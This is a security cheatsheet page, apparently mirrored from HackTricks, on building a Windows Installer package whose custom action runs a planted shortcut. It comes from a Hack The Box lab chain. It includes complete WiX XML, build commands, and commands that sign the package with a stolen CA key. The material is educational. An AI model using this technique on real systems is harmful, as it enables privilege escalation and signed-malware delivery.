daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

create-msi-with-wix.md (4860B)


      1 ---
      2 title: "Creating a Custom-Action MSI with WiX"
      3 section: "Windows"
      4 sectionSlug: "windows-hardening"
      5 sourcePath: "src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Creating a Custom-Action MSI with WiX
     14 
     15 This historical Hack The Box chain used WiX Toolset v3 to build an MSI that launched a previously planted `.lnk` file. **An MSI is not automatically privileged**: execution occurs in the context selected by Windows Installer policy, the custom-action attributes, and whoever installs it. In the cited scenario, the attacker also stole a trusted signing CA and placed the signed MSI in a folder watched by another user.<sup>[[1]](#references)[[3]](#references)</sup>
     16 
     17 For a comprehensive understanding of wix MSI usage examples, it is advisable to consult [this page](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Here, you can find various examples that demonstrate the usage of wix MSI.<sup>[[2]](#references)</sup>
     18 
     19 The MSI runs `C:\Users\Public\Desktop\Shortcuts\rick.lnk`. The original WiX v3 XML is preserved below:<sup>[[1]](#references)</sup>
     20 
     21 ```html
     22 <?xml version="1.0"?>
     23 <Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
     24 <Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
     25 Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
     26 <Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
     27 <Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
     28 <Directory Id="TARGETDIR" Name="SourceDir">
     29 <Directory Id="ProgramFilesFolder">
     30 <Directory Id="INSTALLLOCATION" Name="Example">
     31 <Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
     32 </Component>
     33 </Directory>
     34 </Directory>
     35 </Directory>
     36 <Feature Id="DefaultFeature" Level="1">
     37 <ComponentRef Id="ApplicationFiles"/>
     38 </Feature>
     39 <Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property>
     40 <CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
     41 Impersonate="yes"/>
     42 <CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
     43 fail_here
     44 </CustomAction>
     45 <InstallExecuteSequence>
     46 <Custom Action="Stage1" After="InstallInitialize"></Custom>
     47 <Custom Action="Stage2" Before="InstallFiles"></Custom>
     48 </InstallExecuteSequence>
     49 </Product>
     50 </Wix>
     51 ```
     52 
     53 `InstallerVersion` declares the minimum Windows Installer version and `Compressed="yes"` marks the package as compressed. `Stage1` is deferred but has `Impersonate="yes"`, so it runs with the installing user's impersonated token; change of privilege in this scenario came from the privileged user who later opened the MSI, not from that attribute magically granting SYSTEM.<sup>[[3]](#references)</sup>
     54 
     55 Compile the source to a WiX object with `candle.exe`:<sup>[[1]](#references)</sup>
     56 
     57 ```text
     58 candle.exe -out C:\tmp\wix.wixobj C:\tmp\Ethereal\msi.xml
     59 ```
     60 
     61 Link that object into an MSI with `light.exe`:<sup>[[1]](#references)</sup>
     62 
     63 ```text
     64 light.exe -out C:\tmp\Ethereal\rick.msi C:\tmp\wix.wixobj
     65 ```
     66 
     67 ### Signing step used in the original chain
     68 
     69 The target workflow accepted packages signed by a compromised internal CA. The write-up derived a signing certificate from the recovered `MyCA.cer`/`MyCA.pvk`, created a PFX, and signed the MSI:<sup>[[1]](#references)</sup>
     70 
     71 ```powershell
     72 makecert.exe -n "CN=Ethereal" -pe -cy end `
     73   -ic C:\tmp\MyCA.cer -iv C:\tmp\MyCA.pvk -sky signature `
     74   -sv C:\tmp\rick.pvk C:\tmp\rick.cer
     75 pvk2pfx.exe -pvk C:\tmp\rick.pvk -spc C:\tmp\rick.cer -pfx C:\tmp\rick.pfx
     76 signtool.exe sign /f C:\tmp\rick.pfx C:\tmp\Ethereal\rick.msi
     77 ```
     78 
     79 The attacker then placed the signed package in `D:\DEV\MSIs` and waited for the privileged workflow/user to execute it. Preserve that precondition when adapting the technique: without an elevated installation path, unsafe policy such as `AlwaysInstallElevated`, or a privileged victim, this package executes only with the current user's rights.
     80 
     81 ## References
     82 
     83 - [1] [Hack The Box - Ethereal: Creating Malicious msi and getting root - 0xRick's Blog](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)
     84 - [2] [A quick introduction: Create an MSI installer with WiX - CodeProject](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with) (see also [wixtools](http://wixtoolset.org))
     85 - [3] [Microsoft Learn — Deferred execution custom actions (`Impersonate`)](https://learn.microsoft.com/en-us/windows/win32/msi/custom-action-in-script-execution-options)